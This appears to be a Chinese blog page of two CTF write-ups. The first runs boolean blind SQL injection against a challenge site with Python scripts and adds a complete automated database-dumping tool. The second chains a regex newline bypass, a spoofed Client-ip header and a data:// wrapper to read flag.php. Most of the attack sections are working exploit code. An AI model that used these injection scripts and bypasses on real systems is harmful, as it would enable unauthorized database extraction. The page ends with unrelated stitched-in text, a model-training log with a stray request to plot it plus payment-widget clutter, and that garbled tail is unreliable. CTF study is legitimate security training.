2021-02-26

46 篇文章 0 订阅

[WUSTCTF2020]颜值成绩查询

启动:在这里插入图片描述明显sql注入题目,先fuzz测试查看有没有过滤了什么,这里过滤了空格,但是我们可以收用/**/来分隔sql语句

输入1看看在这里插入图片描述
发现页面变化了,而且url多了个stunum参数

http://101.200.53.102:10114/?stunum=1

输入2,3,4依次提交,发现页面都有变化
可是再往下输入,就没反应了~
一开始以为是flag会在某个stunum页面下,所以用bp跑了stunum=1 到1000
结果只有stunum=1,2,3,4的时候页面有变化
方向不对,然后我用了下别的sql语句都不行,换~

布尔盲注
我们试试盲注

注入点查找

手工检查,发现令stunum = if(length(database())>1,1,0)时,页面变化了
在这里插入图片描述
而改成stunum = if(length(database())>3,1,0)时,页面又变回去了
在这里插入图片描述
说明存在布尔盲注!!

爆表

import requests

s=requests.session()
flag = ''
for i in range(1,50):
    for j in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_+=-0123456789,./?|}':
        url="http://101.200.53.102:10114/?stunum=if((select(substr(group_concat(table_name),{},1))from/**/information_schema.tables/**/where/**/table_schema=database())='{}',1,2)".format(i,j) 
        c = s.get(url ,timeout=3)
        #print c.text
        if 'Hi admin' in c.text:
            flag += j
            print(flag)
            break

在这里插入图片描述
存在一个flag表和一个score表

爆字段

import requests

s=requests.session()
flag = ''
for i in range(1,50):
    for j in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_=-0123456789,./?|}':
        url="http://101.200.53.102:10114/?stunum=if((select(substr(group_concat(column_name),{},1))from/**/information_schema.columns/**/where/**/table_schema=database())='{}',1,2)".format(i,j) 
        c = s.get(url ,timeout=3)
        #print c.text
        if 'Hi admin' in c.text:
            flag += j
            print(flag)
            break

在这里插入图片描述
得知存在flag字段和value字段

爆值

import requests

s=requests.session()
flag = ''
for i in range(1,50):
    for j in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_=-0123456789,./?|}':
        url="http://101.200.53.102:10114/?stunum=if((select(substr(group_concat(value),{},1))from/**/flag)='{}',1,2)".format(i,j) 
        c = s.get(url ,timeout=3)
        #print c.text
        if 'Hi admin' in c.text:
            flag += j
            print(flag)
            break


在这里插入图片描述
PS:
这里推荐一位大佬写的exp,(功能超级完整)

import requests


def ascii_str():  # 生成库名表名字符所在的字符列表字典
    str_list = []
    for i in range(33, 127):  # 所有可显示字符
        str_list.append(chr(i))
    # print('可显示字符:%s'%str_list)
    return str_list  # 返回字符列表


def db_length(url, str):
    print("[-]开始测试数据库名长度.......")
    num = 1
    while True:
        db_payload = url + "/**/and/**/(length(database())=%d)--+" % num
        r = requests.get(db_payload)
        if str in r.text:
            db_length = num
            print("[+]数据库长度:%d\n" % db_length)
            db_name(db_length)  # 进行下一步,测试库名
            break
        else:
            num += 1


def db_name(db_length):
    print("[-]开始测试数据库名.......")
    db_name = ''
    str_list = ascii_str()
    for i in range(1, db_length + 1):
        for j in str_list:
            db_payload = url + "/**/and/**/(ord(mid(database(),%d,1))='%s')--+" % (i, ord(j))
            r = requests.get(db_payload)
            if str in r.text:
                db_name += j
                break
    print("[+]数据库名:%s\n" % db_name)
    tb_piece(db_name)  # 进行下一步,测试security数据库有几张表
    return db_name


def tb_piece(db_name):
    print("开始测试%s数据库有几张表........" % db_name)
    for i in range(100):  # 猜解库中有多少张表,合理范围即可
        tb_payload = url + "/**/and/**/%d=(select/**/count(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='%s')--+" % (
        i, db_name)
        r = requests.get(tb_payload)
        if str in r.text:
            tb_piece = i
            break
    print("[+]%s库一共有%d张表\n" % (db_name, tb_piece))
    tb_name(db_name, tb_piece)  # 进行下一步,猜解表名


def tb_name(db_name, tb_piece):
    print("[-]开始猜解表名.......")
    table_list = []
    for i in range(tb_piece):
        str_list = ascii_str()
        tb_length = 0
        tb_name = ''
        for j in range(1, 20):  # 表名长度,合理范围即可
            tb_payload = url + "/**/and/**/(select/**/length(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/%d,1)=%d--+" % (
            i, j)
            r = requests.get(tb_payload)
            if str in r.text:
                tb_length = j
                print("第%d张表名长度:%s" % (i + 1, tb_length))
                for k in range(1, tb_length + 1):  # 根据表名长度进行截取对比
                    for l in str_list:
                        tb_payload = url + "/**/and/**/(select/**/ord(mid((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/%d,1),%d,1)))=%d--+" % (
                        i, k, ord(l))
                        r = requests.get(tb_payload)
                        if str in r.text:
                            tb_name += l
                print("[+]:%s" % tb_name)
                table_list.append(tb_name)
                break
    print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list))
    column_num(table_list, db_name)  # 进行下一步,猜解每张表的字段数


def column_num(table_list, db_name):
    print("[-]开始猜解每张表的字段数:.......")
    column_num_list = []
    for i in table_list:
        for j in range(30):  # 每张表的字段数量,合理范围即可
            column_payload = url + "/**/and/**/%d=(select/**/count(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='%s')--+" % (
            j, i)
            r = requests.get(column_payload)
            if str in r.text:
                column_num = j
                column_num_list.append(column_num)  # 把所有表的字段,依次放入这个列表当中
                print("[+]%s表\t%s个字段" % (i, column_num))
                break
    print("\n[+]表对应的字段数:%s\n" % column_num_list)
    column_name(table_list, column_num_list, db_name)  # 进行下一步,猜解每张表的字段名


def column_name(table_list, column_num_list, db_name):
    print("[-]开始猜解每张表的字段名.......")
    column_length = []
    str_list = ascii_str()
    column_name_list = []
    for t in range(len(table_list)):  # t在这里代表每张表的列表索引位置
        print("\n[+]%s表的字段:" % table_list[t])
        for i in range(column_num_list[t]):  # i表示每张表的字段数量
            column_name = ''
            for j in range(1, 21):  # j表示每个字段的长度
                column_name_length = url + "/**/and/**/%d=(select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='%s'/**/limit/**/%d,1)--+" % (
                j - 1, table_list[t], i)
                r = requests.get(column_name_length)
                if str in r.text:
                    column_length.append(j)
                    break
                for k in str_list:  # k表示我们猜解的字符字典
                    column_payload = url + "/**/and/**/ord(mid((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='%s'/**/limit/**/%d,1),%d,1))=%d--+" % (
                    table_list[t], i, j, ord(k))
                    r = requests.get(column_payload)
                    if str in r.text:
                        column_name += k
            print('[+]:%s' % column_name)
            column_name_list.append(column_name)
    print(column_name_list)#输出所有表中的字段名到一个列表中
    dump_data(table_list, column_name_list, db_name)  # 进行最后一步,输出指定字段的数据


def dump_data(table_list, column_name_list, db_name):
    print("\n[-]对%s表的%s字段进行爆破.......\n" % (table_list[0], column_name_list[0:2]))
    str_list = ascii_str()
    for i in column_name_list[0:2]:
        for j in range(101):  # j表示有多少条数据,合理范围即可
            data_num_payload = url + "/**/and/**/(select/**/count(%s)/**/from/**/%s.%s)=%d--+" % (i, db_name, table_list[0], j)
            r = requests.get(data_num_payload)
            if str in r.text:
                data_num = j
                break
        print("\n[+]%s表中的%s字段有以下%s条数据:" % (table_list[0], i, data_num))
        for k in range(data_num):
            data_len = 0
            dump_data = ''
            for l in range(1,80):  # l表示每条数据的长度,合理范围即可
                data_len_payload = url + "/**/and/**/ascii(substr((select/**/%s/**/from/**/%s.%s/**/limit/**/%d,1),%d,1))--+" % (
                i, db_name, table_list[0], k, l)
                r = requests.get(data_len_payload)
                if str not in r.text:
                    data_len = l - 1
                    for x in range(1, data_len + 1):  # x表示每条数据的实际范围,作为mid截取的范围
                        for y in str_list:
                            data_payload = url + "/**/and/**/ord(mid((select/**/%s/**/from/**/%s.%s/**/limit/**/%d,1),%d,1))=%d--+" % (
                            i, db_name, table_list[0], k, x, ord(y))
                            r = requests.get(data_payload)
                            if str in r.text:
                                dump_data += y
                                break
                    break
            print('[+]%s' % dump_data)  # 输出每条数据


if __name__ == '__main__':
    url = "http://4256ba7d-df27-4dd7-bc5d-ed2125b3b1c1.node3.buuoj.cn/?stunum=1"  # 目标url
    str = "Hi admin"  # 布尔型盲注的true&false的判断因素
    db_length(url, str)  # 程序入口


在这里插入图片描述
布尔型盲注python脚本(功能超级完整)

BUUCTF [MRCTF2020]套娃

在这里插入图片描述
右键查看源码,发现有一段注释
在这里插入图片描述

可以观察出来又是一道if套娃语句,需要一层一层解

分析:
关于$_SERVER[‘QUERY_STRING’]取值,
例如: http://localhost/aaa/?p=222
$_SERVER[‘QUERY_STRING’] = “p=222”;

substr_count()函数计算子串在字符串中出现的次数
PS:子串区分大小写

上述代码不能出现’_’和’%5f’,可以用‘ ’或‘.’或‘ %5F’绕过

通过get取得的参数b_u_p_t不等于23333但是正则,匹配需要匹配到23333所以这里用%0a(因为正则匹配中’^’和’$’代表的是行的开头和结尾,所以能利用换行绕过)绕过

payload:?b.u.p.t=23333%0a

在这里插入图片描述

根据提示进入secrettw.php,仍然是标准套路,提示需要本地才能访问

在这里插入图片描述
右键查看源码,发现一大堆注释,乍一看像乱码,实际上ctf里的注释大家也都知道是怎么回事,肯定不是毫无意义的,百度一查,发现是一种叫jother的编码,直接复制粘贴到浏览器控制台即可解码
( 有关该代码的文章)
在这里插入图片描述

执行后弹出了一段alert信息在这里插入图片描述
根据提示用hackbar通过POST提交一个Merak参数在这里插入图片描述
返回了一段代码,应该是secrettw.php的部分源码高亮在这里插入图片描述
源码如下

Flag is here~But how to get it? <?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';
 
if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 
 
 
function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

可以简单的分析出secrettw.php的作用
首先用if(isset($_POST[‘Merak’]))函数检测是否存在参数名为Merak的POST数据,如果不存在则执行下面的语句,如果存在则执行if中的highlight_file函数高亮显示源码

我们已经通过POST提交Merak知道了源码,后面就不用再提交POST了,不然会被highlight_file函数截断,继续看下面的语句,中间的change函数暂时不管,是转换字符用的,后面会提到
后面的$ip = getIp();应该是使用了头部的takeip.php中的函数来获取客户端ip,再将获取到的ip赋值给变量$ip
如果满足$ip!='127.0.0.1’则执行该if内的语句,但是这段语句没什么用,所以我们不用管,第二个if内的语句才是我们需要执行的
第二个if的判断条件为

if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )

也就是说需要满足两个条件
第一个条件$ip === ‘127.0.0.1’,这个很容易满足,只要让get_ip获取到的值为127.0.0.1就行了,一般只有XFF和Client-ip这两种方法,我们可以用burpsuite来提交
在这里插入图片描述

第二个条件
file_get_contents($_GET[‘2333’]) === ‘todat is a happy day’

首先通过file_get_content函数将整个数据读入一个字符串中,但是后面的值使用的单引号,并且中间使用===来判断全等,所以,经过到百度上各种CTF技巧的查找,发现这里可以使用data:// 来进行转换,具体用法可以参考:https://www.php.cn/manual/view/285.html
格式为data://text/plain;base64,将todat is a happy day进行base64编码得到dG9kYXQgaXMgYSBoYXBweSBkYXk=,所以需要通过get提交一个名为2333的参数,值为data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
第二个if内的语句

echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file']));

还用到了一个名为file的get参数,用于返回文件内容,我们需要知道flag.php的内容,所以这里需要file_get_content的文件是flag.php
但是这里要注意file_get_content函数不是直接使用的$_GET[‘file’]的值,而是用到了上面说到的change函数来转换,我们来看一下change函数的作用

change函数的作用

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

首先定义用法,然后将变量进行base64解码(这说明后面POST参数file的值必须先进行base64编码),然后通过一段for循环,这段for循环的作用是先将字符转换为ASCII码,再将ASCII码逐步+ i ∗ 2 , i*2, i2i初始值为0,然后再转回字符
其中strlen函数作用是计算字符的数目,chr是把ASCII转成字符,ord是把字符转成ASCII数字
经过对照ASCII码表和计算,我们需要传递到file参数的值为“fj]a&fb(flag.php经过change函数转换为fj]a&fb)”的base64值,也就是ZmpdYSZmXGI=

顺带一提,takeip.php经过change函数变换,我们需要提交的值为“t_g_af"bXp^”,不过我们用不上,有兴趣的可以自己试一试

脚本如下:
反写change函数,exp:

<?php
function change($v){ 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return $re; 
} 
$a='flag.php';
$c=change($a);
$b=base64_encode($c);
echo $b;
?>

得到ZmpdYSZmXGI=
所以,我们最终提交的两个get参数为
在这里插入图片描述

用burp传入参数得到flag
注意别忘了将ip改为127.0.0.1,这里get_ip用到的方法为Client-ip
在这里插入图片描述
参考链接:套娃

2021-03-26 20:54:33,596 - Model - INFO - Epoch 1 (1/200): 2021-03-26 20:57:40,380 - Model - INFO - Train Instance Accuracy: 0.571037 2021-03-26 20:58:16,623 - Model - INFO - Test Instance Accuracy: 0.718528, Class Accuracy: 0.627357 2021-03-26 20:58:16,623 - Model - INFO - Best Instance Accuracy: 0.718528, Class Accuracy: 0.627357 2021-03-26 20:58:16,623 - Model - INFO - Save model... 2021-03-26 20:58:16,623 - Model - INFO - Saving at log/classification/pointnet2_msg_normals/checkpoints/best_model.pth 2021-03-26 20:58:16,698 - Model - INFO - Epoch 2 (2/200): 2021-03-26 21:01:26,685 - Model - INFO - Train Instance Accuracy: 0.727947 2021-03-26 21:02:03,642 - Model - INFO - Test Instance Accuracy: 0.790858, Class Accuracy: 0.702316 2021-03-26 21:02:03,642 - Model - INFO - Best Instance Accuracy: 0.790858, Class Accuracy: 0.702316 2021-03-26 21:02:03,642 - Model - INFO - Save model... 2021-03-26 21:02:03,643 - Model - INFO - Saving at log/classification/pointnet2_msg_normals/checkpoints/best_model.pth 2021-03-26 21:02:03,746 - Model - INFO - Epoch 3 (3/200): 2021-03-26 21:05:15,349 - Model - INFO - Train Instance Accuracy: 0.781606 2021-03-26 21:05:51,538 - Model - INFO - Test Instance Accuracy: 0.803641, Class Accuracy: 0.738575 2021-03-26 21:05:51,538 - Model - INFO - Best Instance Accuracy: 0.803641, Class Accuracy: 0.738575 2021-03-26 21:05:51,539 - Model - INFO - Save model... 2021-03-26 21:05:51,539 - Model - INFO - Saving at log/classification/pointnet2_msg_normals/checkpoints/best_model.pth 我有类似于这样的一段txt文件,请你帮我写一段代码来可视化这些训练结果
02-06
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值